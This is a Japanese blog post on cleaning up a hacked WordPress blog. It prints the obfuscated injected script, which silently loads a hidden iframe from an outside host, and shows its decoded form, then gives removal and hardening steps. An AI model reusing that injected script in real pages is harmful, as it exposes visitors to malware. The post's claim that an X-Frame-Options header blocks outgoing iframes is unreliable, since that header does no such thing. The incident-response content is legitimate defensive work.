WordPress の記事が改ざんされたときの対処メモ

## 2017年4月 連絡を受ける

とある友人が運営する WordPress製のブログで、盛大にスパム被害に遭っている、と連絡を受けました。
連絡を受けたときには、すでに連絡主が「300件以上勝手にポストされていたので削除した」とのことでしたが、Firefox でアクセスしようとしたら「攻撃サイトとして報告されています！」という警告が出ました。まだまだやることがありそうです。

## 最初に想定した原因と対処

少し前に [WordPress の XML-RPC API の脆弱性 (CVE-2017-9062)](http://jvndb.jvn.jp/ja/contents/2017/JVNDB-2017-003317.html) が話題になりましたが、このブログは数年放置されていたとのことなので、これが原因かと思い、データベースのバックアップを取った上で、 WordPress のバージョンを最新に上げました。

また、このままだとアクセスしてもブラウザがブロックしてしまうので、下記を参考に Google のウェブマスターツールで確認すると、マルウェアを含むサイトにリダイレクトされる、とのことでしたが、すでに対処済と思い、解除申請をしました。

* [作ったサイトが「攻撃サイトとして報告されています！」と表示されブロックされる - 明日も楽をするために](http://makoto1212.hatenablog.com/entry/2014/12/06/015850)

ところが、Google の審査は通らず、ブロックは解除されませんでした。他にも原因がありそうです。

## すべてのブログ記事に怪しげな JavaScript

Google がマルウェアを含むサイトへのリダイレクトが埋め込まれているページの一覧を示してくれたので、WordPress の管理画面から当該記事の編集画面を開くと、以下のような怪しげな JavaScript が埋め込まれていることが確認できました。（一部伏字にしています）

```
<!--844c7b74e31d727d5814a0XXXXXXXXXX--><script type="text/javascript">
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(9(){2 d=3;2 4=1;2 5=1;2 t=d.a(\'b\');2 6=7.c(7.e()*f);2 0=\'g://h.i/j/k?\';0=0+\'l=\'+3.m;0=0+\'&n=\'+3.o;0=0+\'&r=\'+6;d.p(\'8 q="s:u;v:w" 0="\'+0+\'" x="\'+4+\'" y="\'+5+\'"/8\')})();',35,35,'src||var|document|razmw|razmh|id|Math|iframe|function|createElement|script|floor||random|9999|http|needalogo|net|XXXXXXXX|XXXXXX|se_referrer|referrer|default_keyword|title|write|style||padding||0px|border|none|width|height'.split('|'),0,{}))
</script>
```

難読化されていますが、置換して HTML を組み立てているようです。[JSBin](http://jsbin.com/davevapete/edit?html,output)を使って上記を評価すると、以下のような HTML に変換されました。（タグとして評価されないよう、あらかじめ < > を除去しています）

```
iframe style="padding:0px;border:none" src="http://needalogo.net/XXXXXXXX/XXXXXX?se_referrer=&default_keyword=JS Bin&r=6387" width="1" height="1"/iframe
```

念のため連絡主に、この JavaScript を意図的に埋め込んでいないか確認しましたが、案の定埋め込んでいないとのことでしたので、この iframe で指定された URL がマルウェアを含むサイトと考えられます。

ここで、WordPress の管理画面から埋め込まれた JavaScript の前のコメント文の「844c7b74e31d727d5814a0XXXXXXXXXX」で検索してみると、2,000件近くヒットしました。ブログ記事だけでなく、ご丁寧に固定ページにもしっかり埋め込まれていました。

## すべての記事から、怪しげな JavaScript を除去する

JavaScript が埋め込まれた記事は 2,000件近くあるので、手作業で除去するのは現実的ではありません。
そこで、以下の手順で除去することとしました。

1. MySQLAdmin でデータベースをエクスポートする
2. テキストエディタの置換機能で除去する
3. MySQLAdmin でデータベースを削除
4. MySQLAdmin で修正後の SQL をインポート

テキストエディタでの除去作業では [サクラエディタ](http://sakura-editor.sourceforge.net/index.html) を使い、以下の正規表現にマッチする文字列を "" に置換しました（いわゆるトルツメ）。
```
<!--844c7b74e31d727d5814a0XXXXXXXXXX-->.+</script>
```

## 再度、Google に再審査依頼

対処が完了したので、再度 Google のウェブマスターツール から解除依頼をしました。
最長72時間掛かるとのことでしたが、8時間程度で無事に審査が通った旨、メール通知されました。

## 再発防止策

再発防止策として、以下を実施しました。

### 使用していない admin アカウントの削除

WordPress をインストールすると作成される admin アカウントは使用していないので、削除しました。

### パスワード変更

管理者権限のユーザ・パスワードが漏えいした可能性があるので、パスワードを変更しました。

### WordPressの最新化

先に挙げた [WordPress の XML-RPC API の脆弱性 (CVE-2017-9062)](http://jvndb.jvn.jp/ja/contents/2017/JVNDB-2017-003317.html) 等、深刻な脆弱性には常に気を配る必要があります。

### XML-RPC の無効化

XML-RPC の機能を使っていなので、`.htaccess` で無効化（アクセス拒否）しました。

```
<Files xmlrpc.php>
  Order Deny,Allow
  Deny from all
</Files>
```

[Disable XML-RPC Pingback](https://ja.wordpress.org/plugins/disable-xml-rpc-pingback/) というプラグインもあるようです。

### iframe の無効化

今回は iframe を使って外部コンテンツを埋め込もうとしていました。外部コンテンツを読み込まないように「X-Frame-Options」で「SAMEORIGIN」を指定することとし、 以下のように `.htaccess` で定義しました。

```
Header set X-Frame-Options SAMEORIGIN
```